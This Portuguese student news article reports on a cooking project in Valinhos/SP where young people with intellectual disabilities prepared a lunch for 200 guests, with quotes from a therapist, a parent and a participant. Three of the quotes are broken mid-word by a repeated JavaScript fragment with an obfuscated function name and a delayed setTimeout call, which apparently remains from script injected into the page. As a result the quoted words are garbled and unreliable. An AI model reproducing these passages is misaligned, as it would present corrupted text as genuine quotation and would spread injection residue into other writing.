Educação

Projeto inclui deficientes em tarefas comuns

Por Giulia Bucheroni

No último domingo (20), aconteceu em Valinhos/SP o evento Inclusão é Massa, onde jovens com deficiência intelectual prepararam um almoço italiano para 200 convidados. O projeto Cucina Felice, que existe há mais de dois anos, conta com a doação dos alimentos e o auxílio de voluntários engajados na iniciativa de movimentar ações inclusivas.

Desenvolvido pela clínica Inclusione, em parceria com a escola de gastronomia Paladares e o projeto Maravilha Máxima, o evento visa a inclusão dos jovens em tarefas comuns do dia a dia. “Queremos que as pessoas entendam que a pessoa com deficiência é só mais uma pessoa, afinal, quem não tem problema? Tem coisas que eu não dou conta de fazer e tudo bem, então por que quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eles não dão conta é um bicho de sete cabeças?”, questiona Raquel Ortega, terapeuta ocupacional e diretora da clínica Inclusione.

O projeto incentiva a inclusão dos jovens em situação do cotidiano (Foto: Giulia Bucheroni)

Unida para ações sociais, a equipe encontrou na gastronomia a maneira de evidenciar a possibilidade da inclusão. “Além de estar na cozinha e preparar o prato, há uma questão emocional. Esse momento em que eles estão servindo as outras pessoas é uma troca prazerosa. Alimentar é prazer”, conta Raquel, que explica a importância do projeto também para as famílias dos jovens. “Ao cozinhar eles mostram o quanto são capazes, inclusive para as próprias famílias. Pela lei natural da vida, os pais vão antes e os filhos vão ficar. E aí? O adulto tem que saber se virar. Buscamos cada vez mais essa autonomia e independência”, completa.

Maurício Carvalho sabe a necessidade de proporcionar tal independência aos jovens com deficiência. Pai de Rafael, portador da síndrome de Down, o fundador do projeto Maravilha Máxima incentiva cada vez mais ações que promovam a inclusão. “Os maiores obstáculos para a inclusão culinária de pessoas com deficiência se encontram em casa, que são os pais. A partir do momento que a gente descobre que perdemos muito tempo deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de ensinar, achandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que eles não vão aprender, a gente muda completamente o jeito de educá-los”, afirma.

Integrante do grupo de chefes, André Camilo driblou as dificuldades impostas pela síndrome de down e conquistou autonomia com o projeto inclusivo. “Antes a minha mãe não deixava eu entrar na cozinha, mas agora ela deixa. Eu até preparo algumas coisas em casa”, conta o jovem, que gosta de preparar churrasco. “Eu tempero, corto e asso a carne. Fica bem gostoso”.

 

 

Inclusão na cozinha

Entre as opções do cardápio, polenta e massa com cogumelos (Foto: Giulia Bucheroni)

Tratado como ambiente de risco, a cozinha é mais um desafio aos jovens que buscam inclusão e inserção no ambiente de trabalho. “A cozinha, em vias de regra, é um lugar proibido por ter fogo, vidro, facas, etc. Então, poder fazer parte desse ambiente é o que mais motiva eles. Esse desafio de ‘a minha mãe nunca deixou, agora eu vou para a cozinha’ é importante no processo”, diz Raquel, que explica o passo a passo para a inserção dos jovens na gastronomia.

“Há todo um processo terapêutico para eles serem treinados. De início, nós avaliamos as habilidades de cada um e, depois, praticamos todas elas. Além de descascar, processar, ralar e higienizar os alimentos, há muitas outras coisas a serem feitas dentro de uma cozinha. Eles aprendem a pegar na panela, a manter distância do fogão e fazer tudo com segurança”.

Atividades como a higiene pessoal também são importantes no aprimoramento do jovens. “Eu digo que a terapeuta ocupacional trabalha com o cotidiano das coisas, com ações que nós que não temos deficiência não pensamos para fazer. Processos como lavar a mão e manter as unhas curtas são importantes e devem ser trabalhados com eles”, completa.

 

Editado por Rafael Siviero

Orientação de Profa. Cyntia Andretta e Profa. Maria Lúcia Jacobini


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